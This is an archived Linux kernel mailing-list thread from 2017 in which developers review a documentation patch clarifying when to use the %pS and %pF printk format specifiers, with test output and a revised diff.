More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Tue, 15 Aug 2017 21:41:37 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <7beee4c4-6565-69ea-a220-59c83bbb6c35@gmx.de>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170815084654.20fc23c0@gandalf.local.home>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502826141 28079 195.159.176.226 (15 Aug 2017 19:42:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Aug 2017 19:42:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 15 21:42:16 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dhhjC-0002mT-Se
	for glpp-linux-parisc@m.gmane.org; Tue, 15 Aug 2017 21:42:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751544AbdHOTmV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 15 Aug 2017 15:42:21 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:59350 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751160AbdHOTmU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 15 Aug 2017 15:42:20 -0400
Original-Received: from [192.168.20.60] ([193.159.30.117]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LxLcc-1dWGSm38zi-016wo7; Tue, 15
 Aug 2017 21:41:39 +0200
In-Reply-To: <20170815084654.20fc23c0@gandalf.local.home>
Content-Language: en-US
X-Provags-ID: V03:K0:gMrm+ERatDux0qlkQ6h31c1G5moWSVO23QrIshkvdOI8rKbq9HW
 e8syr6UABsErTIA1j8y6SVw2DIyJu5G3+mX3pjnaPeUzwXkNVl5L6jGudc4FInMMkhWhgXc
 N02ThKW+xJlPnMpciSW1K04bI3sjmOd+hyLrInBzdqn7OXg8KUAbBYIqbHTr4Yj+DEvb9JG
 s9uMCIOD0aWQEknVaV1Gw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:5Pm8+6xzaME=:fgrY7Z7aANOfnrsxVg+aXZ
 2u9sKMI3/wb+82zOfJPzorx081aBnKjdWJKVtwUMbx6Xio38s5Z5DzjNOrnYm/a4bo8HBybaP
 wFuV/MtPOngMVBQZkZr9mw7zOMx9kHfEBGAHeYqOADgidPIUmfdwCC2NDyerzAeq+zC/rp/yt
 LlOO2AKf6U7dRBeP4BFN6jcJk+WJZe/2vy5FCETpSELp2HXXfkZUCdhbqNf5xcBu5vrBlW9MX
 0GOji5n2iJi5u6qYkpzs+k1CWBXC7X+CGKjB1nNqN05Q8ex/cuVcCkO9Ei4IDa947bdLDv/58
 NQvxASVd6JXx87tNqQHAGpV8v9MgD00kY7XUY1Ut68WtRZCz1hqV1O/uOa52uLRnfm0KIQLhe
 hy4ZMKxuDTsS0ZuoINO7/4PFvSorhTgAhAGhU3sWNn39nAVYfj4Ssn33U6onr9M1KXnLpDP40
 ZsgIZccA6z/0xi4rOjHm3tAbeW0H8EBmvuW65/dBkG7KZoYjzKNLm8bRmGkCpwRyDNl0DKNz9
 hN+3sgE0JSWJ544U+M2gYYOXqgLiAk3bRfmqlIaaGip8TyjmUKTIlOtqmD3rlEcX4+joOe6IM
 hyEQNTmneq+gL+wYvDz+N/MstZidVVOE8IOzZEzxPewjA39U62+sXf79XFNVPmYhwTbMtoGnn
 9PwvzCo6K+q4M0BISEFeieBTcu3Uf1tCg1CU3vCglTkKhfETVFHm+7D7V/0wbM/l3W/ENhbYS
 /A02nU6zHg9E/inFT5yUCUHZQt4XYhJoBBjPTCfu2cokjMQLKbu7qskd2XtbGr7Y99keKKgU 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27672 gmane.linux.kernel:2549538
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27672>

On 15.08.2017 14:46, Steven Rostedt wrote:
> On Thu, 10 Aug 2017 19:35:33 +0200
> Helge Deller <deller@gmx.de> wrote:
> 
>> Sometimes people seems unclear when to use the %pS or %pF printk format.
>> Adding some examples may help to avoid such mistakes.
>>
>> See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
>> parisc") which fixed such a wrong format string.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
>> index 65ea591..be8c05b 100644
>> --- a/Documentation/printk-formats.txt
>> +++ b/Documentation/printk-formats.txt
>> @@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
>>  ``f`` specifiers perform this resolution and then provide the same
>>  functionality as the ``S`` and ``s`` specifiers.
>>  
>> +Examples::
>> +
>> +	printk("Called from %pS.\n", __builtin_return_address(0));
>> +	printk("Called from %pS.\n", (void *)regs->ip);
>> +	printk("Called from %pF.\n", &gettimeofday);
> 
> Is the '&' really necessary? 
The '&' is not necessary. The compiler doesn't complain either.

> What about using the example:
> 	printk("Called in %pF.\n", __func__);

Very interesting!

This code:
void smp_cpus_done() {
printk("Called from %pF.\n", smp_cpus_done);
printk("Called from %pf.\n", smp_cpus_done);
printk("Called in %pS.\n", __func__);
printk("Called in %ps.\n", __func__);
printk("Called in %pF.\n", __func__);
printk("Called in %pf.\n", __func__);

gives:
 Called from smp_cpus_done+0x0/0x1b8.
 Called from smp_cpus_done.
 Called in __func__.28197+0x0/0x20.
 Called in __func__.28197.
 Called in 0x5041524953433332.
 Called in 0x5041524953433332.

So, the correct usage is:
printk("Called in %pS.\n", __func__);

But it should have printed
 Called from smp_cpus_done+0x0/0x1b8.
which means the (parisc?) printk resolver doesn't work correctly.

In assembly code a pointer to this object is handed to printk:
        .type   __func__.28197, @object
        .size   __func__.28197, 14
__func__.28197:
        .stringz        "smp_cpus_done"

I'll look into this problem.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Tue, 15 Aug 2017 21:47:27 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <b94857ad-8c10-618c-1a04-5859cc5ac04b@gmx.de>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170815084654.20fc23c0@gandalf.local.home>
 <7beee4c4-6565-69ea-a220-59c83bbb6c35@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502826468 32000 195.159.176.226 (15 Aug 2017 19:47:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Aug 2017 19:47:48 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 15 21:47:43 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dhhoJ-0007A5-JF
	for glpp-linux-parisc@m.gmane.org; Tue, 15 Aug 2017 21:47:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752820AbdHOTri (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 15 Aug 2017 15:47:38 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53981 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752412AbdHOTrh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 15 Aug 2017 15:47:37 -0400
Original-Received: from [192.168.20.60] ([193.159.30.117]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lq9Ma-1d4GJt12VE-00ds58; Tue, 15
 Aug 2017 21:47:29 +0200
In-Reply-To: <7beee4c4-6565-69ea-a220-59c83bbb6c35@gmx.de>
Content-Language: en-US
X-Provags-ID: V03:K0:ITwpQ3A8F1NrboGhI0XRlReDv+WyYI0XjHZ/H2uuQsDsCbgHTkf
 Q2EKX3BUvZk2zE+M0H/qaLGUl2COCkLq+6Hml8Q6q5XdQtDDn9dAn3TCiqT+lsIolXiSyCh
 clSi17ZMOY6lhuvbWkrnFECNQhS/IRjgN0jKTmBfgr9L7Dy+XNF0fxBO+uyDxUxFQBa95WS
 plVTA53zSi2AEN9WKs3MQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:KCmDcPA8jHQ=:ivfAuD2wLdroXuI+hpqDFq
 GFly4TdoVnVpaYdWd3bogte8yD1aYCwwRoK+otfxCus69KiiS9+TmAk4n5oWuy2edqhWfXxpp
 DoNo9mMfxfcMEea8fTA7kQVjlyH6wOL3tum2SqgZOFGwxIzakc2Eh2hZ41v8LYPxF5OcEhxPl
 dKb32KIhtwOKk28jCQgrMlLFoirAUo9c5Sf8LcPvqFexahPpcLLk52YZPn6Pe3LPCI9aceIzL
 ZiV5mS/7iyqf50T4P4AtyzsCZzkedmLNygUIRAc8hMaXDt09pUTXx7WeoxgC2XgzX6eYA/CW9
 4Q22uF+30BzmZyI7h7awpttwmKA1M1poyGkYV4D35p36CekK38yJ3evVRUS7neuryC8IhHQAA
 ohHPvt85UcPAPeiC+UYgWrB4/f9tMio5aCAfxjjpsBw00+y17C5rKHf8qdzsWbuCAyamkkB1Z
 jGxIV8pYKl8r1bYqV0wEilzLwnn5P36sy2s8n1n2tRUyCrJCeFfMaJVwaaON7YF3no+saIYl8
 lHvYDL3xpIWc8/4qpFzbv9K+Lt2ujdMYcrzGA7I/m2oXVcuJ9Kaon+CKvEeT6EVT5a45pqiVj
 jXo864vrJyGUgO7WuMOLSlaMVySogOUev4tdfC5FV6kqP9Sma6D+Rb0o0/5gi9t6l8wGTx7wR
 VH71xGT1UeXKaPcPQKkt567i2lb04nd210ejKLbckbHAGxbb0aajB3SEGlvG5una+ze+t5g5B
 4xJyDHDcVz9WI6XjgQPEgnYqs/3Se/WVOiDedX+6Qsa1sEeAqDRzOidLuSZUNXozAFS/+EQ8 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27673 gmane.linux.kernel:2549540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27673>

On 15.08.2017 21:41, Helge Deller wrote:
> On 15.08.2017 14:46, Steven Rostedt wrote:
>> On Thu, 10 Aug 2017 19:35:33 +0200
>> Helge Deller <deller@gmx.de> wrote:
>>
>>> Sometimes people seems unclear when to use the %pS or %pF printk format.
>>> Adding some examples may help to avoid such mistakes.
>>>
>>> See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
>>> parisc") which fixed such a wrong format string.
>>>
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>
>>> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
>>> index 65ea591..be8c05b 100644
>>> --- a/Documentation/printk-formats.txt
>>> +++ b/Documentation/printk-formats.txt
>>> @@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
>>>  ``f`` specifiers perform this resolution and then provide the same
>>>  functionality as the ``S`` and ``s`` specifiers.
>>>  
>>> +Examples::
>>> +
>>> +	printk("Called from %pS.\n", __builtin_return_address(0));
>>> +	printk("Called from %pS.\n", (void *)regs->ip);
>>> +	printk("Called from %pF.\n", &gettimeofday);
>>
>> Is the '&' really necessary? 
> The '&' is not necessary. The compiler doesn't complain either.
> 
>> What about using the example:
>> 	printk("Called in %pF.\n", __func__);
> 
> Very interesting!
> 
> This code:
> void smp_cpus_done() {
> printk("Called from %pF.\n", smp_cpus_done);
> printk("Called from %pf.\n", smp_cpus_done);
> printk("Called in %pS.\n", __func__);
> printk("Called in %ps.\n", __func__);
> printk("Called in %pF.\n", __func__);
> printk("Called in %pf.\n", __func__);
> 
> gives:
>  Called from smp_cpus_done+0x0/0x1b8.
>  Called from smp_cpus_done.
>  Called in __func__.28197+0x0/0x20.
>  Called in __func__.28197.
>  Called in 0x5041524953433332.
>  Called in 0x5041524953433332.
> 
> So, the correct usage is:
> printk("Called in %pS.\n", __func__);

I'm wrong.
The correct usage would be:
 printk("Called in %s.\n", __func__);

__func__ is just a pointer to a string.

Helge

> 
> But it should have printed
>  Called from smp_cpus_done+0x0/0x1b8.
> which means the (parisc?) printk resolver doesn't work correctly.
> 
> In assembly code a pointer to this object is handed to printk:
>         .type   __func__.28197, @object
>         .size   __func__.28197, 14
> __func__.28197:
>         .stringz        "smp_cpus_done"
> 
> I'll look into this problem.
> 
> Helge
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Tue, 15 Aug 2017 21:58:33 +0200
Lines: 162
Approved: news@gmane.org
Message-ID: <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
 <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
 <20170815113625.GA2738@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502827133 6873 195.159.176.226 (15 Aug 2017 19:58:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Aug 2017 19:58:53 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 15 21:58:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dhhzB-0001KZ-QR
	for glk-linux-kernel-3@m.gmane.org; Tue, 15 Aug 2017 21:58:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752849AbdHOT6s (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 15 Aug 2017 15:58:48 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64378 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751628AbdHOT6q (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 15 Aug 2017 15:58:46 -0400
Original-Received: from [192.168.20.60] ([193.159.30.117]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lu7ty-1dZZ3F1dx8-011OWE; Tue, 15
 Aug 2017 21:58:35 +0200
In-Reply-To: <20170815113625.GA2738@pathway.suse.cz>
Content-Language: en-US
X-Provags-ID: V03:K0:DPfCJiBZNkPEnMMKuoSQ8/ePfuCBNAqbG9eDYxPOwD6+Iui6EtG
 U4Bq3eB3TI3SgzAD76dYT8nfmI+NgoGalm9OoIxzdcTk/opxNYNWxmjPqxdyc9pBUS/0P73
 YUP4V/CcdBjqztR4ZSz5+Apfe9x5islm1a2JJp+n2SB5qiWrgR4ibXTzTWsGE8o09xXeEZb
 Ywx/ACi7dy6O8NfAP1soA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FXN42OpzXJE=:EtTldUXZ1CZwLP45xhkNlK
 bGTSgVDJpm60MlUDGq6Q3q+bDQy9gQPn8FlzoXmVzBBfhYj6QYuPugiJSc5Y17gpBX8NUC4xF
 LFSmd+g6D5N2P5IzDbViCQ3Do03RmSyH2T21IYC2DqD/QRYbovBE0/DIUY7VhzIT1TmC5gSFj
 xvhD0FusNmiY0PAmCoVfcnyzS2G3f3aMb05xtGxX7xN7v1+RZiGwwvyFWO/u8G89r+CnzLlwv
 nK67i/AeINA2Cn0CSLQYiwgUReYUnF+n7lfWEHQaFaQC+CgA6GZ2PTPzc+1ltCsFfPwM9UAAf
 1CZFnniG/72diBbcGv7WfoOMtYYrbF9eQJ8qQpRdXgXTcSk+IyI7oxA0OvWYN6Bnh7IUGxfyz
 ID3PJKnLXg75HzbDRYRHWcZBpaRKb6mPfArsWXyaAIZREqWu9RE5UDGXqAmgxMrN215ddXOtM
 v4xnDcqI+4gGGvYLCfruRJL+V6j7qgcu0XcKoPB0uISxvqgSlTa4Ds1VO7ZiOrA1YlH2MaByv
 jrzP4jI4/vk4ggzUZQr/pDmbS9wg1KQnmTW2xFbVuXyzAJMwmez0ZCoQxGiG+aR21Bz//1zPY
 Aspef7zdw2CGQXRNQ2zliPslYPob/4hiV68OA13grzfFht3F00WS1yqFeKnf5H3WQbrK4411E
 r5h7ihwGMwS6BxiODsyUS9V48i24SEzucJKI8VOI89miBAQbtE9DpTV9xrJ2bNeXqQxr1ctFq
 7IHTt+N2JV8Z01DUak3fkTbl1bwgykpA/y871TOlg3TCm8dTesy4hbP8HXVU++aKllyXQhAz 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2549543 gmane.linux.ports.parisc:27674
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2549543>

On 15.08.2017 13:36, Petr Mladek wrote:
> On Fri 2017-08-11 09:31:28, Helge Deller wrote:
>> On 11.08.2017 02:15, Sergey Senozhatsky wrote:
>>> On (08/10/17 19:35), Helge Deller wrote:
>>>> Sometimes people seems unclear when to use the %pS or %pF printk format.
>>>> Adding some examples may help to avoid such mistakes.
>>>>
>>>> See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
>>>> parisc") which fixed such a wrong format string.
>>>>
>>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>>
>>>> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
>>>> index 65ea591..be8c05b 100644
>>>> --- a/Documentation/printk-formats.txt
>>>> +++ b/Documentation/printk-formats.txt
>>>> @@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
>>>>  ``f`` specifiers perform this resolution and then provide the same
>>>>  functionality as the ``S`` and ``s`` specifiers.
>>>>  
>>>> +Examples::
>>>> +
>>>> +	printk("Called from %pS.\n", __builtin_return_address(0));
>>>> +	printk("Called from %pS.\n", (void *)regs->ip);
>>>> +	printk("Called from %pF.\n", &gettimeofday);
>>>
>>> there is this paragraph
>>>
>>> : On ia64, ppc64 and parisc64 architectures function pointers are
>>> : actually function descriptors which must first be resolved. The ``F`` and
>>> : ``f`` specifiers perform this resolution and then provide the same
>>> : functionality as the ``S`` and ``s`` specifiers.
>>>
>>> which supposed to explain everything in details. the examples
>>> don't make it any `clearer', IMHO.
>>
>> Experts surely do know what function descriptors are.
>> Nevertheless even those often get it wrong as can be seen in
>> various commits.
> 
> It seems that these specifiers are used the wrong way on many
> locations. 

Yes. %pF usage in mm/memblock.c is just one example.

> They might be worth fixing but I cannot test it easily.

I can check and send patches at some point.
 
> Hmm, using %pF might actually cause a crash when used
> on direct function address.

Probably won't happen on parisc, but basically you are right.


>> The hope with this patch is to show widely-used examples
>> and avoid additional commits afterwards to fix it up.
> 
> IMHO, one problem is that the meaning of ''F'' and ''f''
> is hidden at the end of the section. Also the first line
> 
>   'For printing symbols and function pointers. The ``S`` and ``s`` '
> 
> kind of invites to use ``S`` and ``s`` even for function pointers.
> I suggest to switch the order, slightly retranslate, add the
> examples, see below.
> 
> 
>> This patch was meant to be RFC.
>> If you decide not to take it, I'm fine as well.
>>
>>> *may be* on "ia64, ppc64 and parisc64" we can somehow check
>>> that the pointer, which we pass as %pS, belongs to .text and
>>> print some build-time warnings. well, if it's actually a
>>> problem. dunno.
> 
> I think that it would need to be a runtime check because many/most
> printed addresses are not statically defined.
> 
> 
>> I think it's not needed. Those bugs will be seen and fixed.
> 
> I am not sure how many people are familiar with this problem.
> I might help to avoid some headaches when debugging.
> 
> If we add the warning, it should be ratelimited to reduce messing
> of the original message.
> 
> I do not have strong opinion about it.
> 
> 
> Here is the updated patch with my proposed changes.
> Feel free to update it:

Much better!
Thanks a lot.

Maybe we should mention usage of __func__ with '%s' (see other thread).

And _RET_IP_ is worth mentioning beside __builtin_return_address(0) too,
because it's used quite often wrongly.
   
Helge

> From ef983c65095cada994c1fe531e2b98e936c943bf Mon Sep 17 00:00:00 2001
> From: Helge Deller <deller@gmx.de>
> Date: Tue, 15 Aug 2017 11:34:19 +0200
> Subject: [PATCH] printk-formats.txt: Better describe the difference between
>  %pS and %pF
> 
> Sometimes people seems unclear when to use the %pS or %pF printk format.
> For example, see commit 51d96dc2e2dc ("random: fix warning message on ia64
> and parisc") which fixed such a wrong format string.
> 
> The documentation should be more clear about the difference.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> [pmladek@suse.com: Restructure the entire section]
> Signed-off-by: Petr Mladek <pmladek@suse.com>
> ---
>  Documentation/printk-formats.txt | 19 +++++++++++--------
>  1 file changed, 11 insertions(+), 8 deletions(-)
> 
> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> index 65ea5915178b..074670b98bac 100644
> --- a/Documentation/printk-formats.txt
> +++ b/Documentation/printk-formats.txt
> @@ -58,20 +58,23 @@ Symbols/Function Pointers
>  	%ps	versatile_init
>  	%pB	prev_fn_of_versatile_init+0x88/0x88
>  
> -For printing symbols and function pointers. The ``S`` and ``s`` specifiers
> -result in the symbol name with (``S``) or without (``s``) offsets. Where
> -this is used on a kernel without KALLSYMS - the symbol address is
> -printed instead.
> +The ``F`` and ``f`` specifiers are for printing function pointers,
> +for example, f->func, &gettimeofday. They have the same result as
> +``S`` and ``s`` specifiers. But they do an extra conversion on
> +ia64, ppc64 and parisc64 architectures where the function pointers
> +are actually function descriptors.
> +
> +The ``S`` and ``s`` specifiers can be used for printing symbols
> +from direct addresses, for example, __builtin_return_address(0),
> +(void *)regs->ip. They result in the symbol name with (``S``) or
> +without (``s``) offsets. If KALLSYMS are disabled then the symbol
> +address is printed instead.
>  
>  The ``B`` specifier results in the symbol name with offsets and should be
>  used when printing stack backtraces. The specifier takes into
>  consideration the effect of compiler optimisations which may occur
>  when tail-call``s are used and marked with the noreturn GCC attribute.
>  
> -On ia64, ppc64 and parisc64 architectures function pointers are
> -actually function descriptors which must first be resolved. The ``F`` and
> -``f`` specifiers perform this resolution and then provide the same
> -functionality as the ``S`` and ``s`` specifiers.
>  
>  Kernel Pointers
>  ===============
> 



From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Tue, 15 Aug 2017 17:35:52 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <20170815173552.01d7fb1c@gandalf.local.home>
References: <20170810173533.GA11600@ls3530.fritz.box>
        <20170815084654.20fc23c0@gandalf.local.home>
        <7beee4c4-6565-69ea-a220-59c83bbb6c35@gmx.de>
        <b94857ad-8c10-618c-1a04-5859cc5ac04b@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502832957 32665 195.159.176.226 (15 Aug 2017 21:35:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Aug 2017 21:35:57 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 15 23:35:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dhjV7-0005B0-Dn
	for glpp-linux-parisc@m.gmane.org; Tue, 15 Aug 2017 23:35:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752428AbdHOVf4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 15 Aug 2017 17:35:56 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:39056 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751780AbdHOVfz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 15 Aug 2017 17:35:55 -0400
Original-Received: from gandalf.local.home (cpe-67-246-153-56.stny.res.rr.com [67.246.153.56])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 4FFB622B4C;
        Tue, 15 Aug 2017 21:35:54 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 4FFB622B4C
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=goodmis.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=rostedt@goodmis.org
In-Reply-To: <b94857ad-8c10-618c-1a04-5859cc5ac04b@gmx.de>
X-Mailer: Claws Mail 3.14.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27675 gmane.linux.kernel:2549582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27675>

On Tue, 15 Aug 2017 21:47:27 +0200
Helge Deller <deller@gmx.de> wrote:

> > Very interesting!
> > 
> > This code:
> > void smp_cpus_done() {
> > printk("Called from %pF.\n", smp_cpus_done);
> > printk("Called from %pf.\n", smp_cpus_done);
> > printk("Called in %pS.\n", __func__);
> > printk("Called in %ps.\n", __func__);
> > printk("Called in %pF.\n", __func__);
> > printk("Called in %pf.\n", __func__);
> > 
> > gives:
> >  Called from smp_cpus_done+0x0/0x1b8.
> >  Called from smp_cpus_done.
> >  Called in __func__.28197+0x0/0x20.
> >  Called in __func__.28197.
> >  Called in 0x5041524953433332.
> >  Called in 0x5041524953433332.
> > 
> > So, the correct usage is:
> > printk("Called in %pS.\n", __func__);  
> 
> I'm wrong.
> The correct usage would be:
>  printk("Called in %s.\n", __func__);
> 
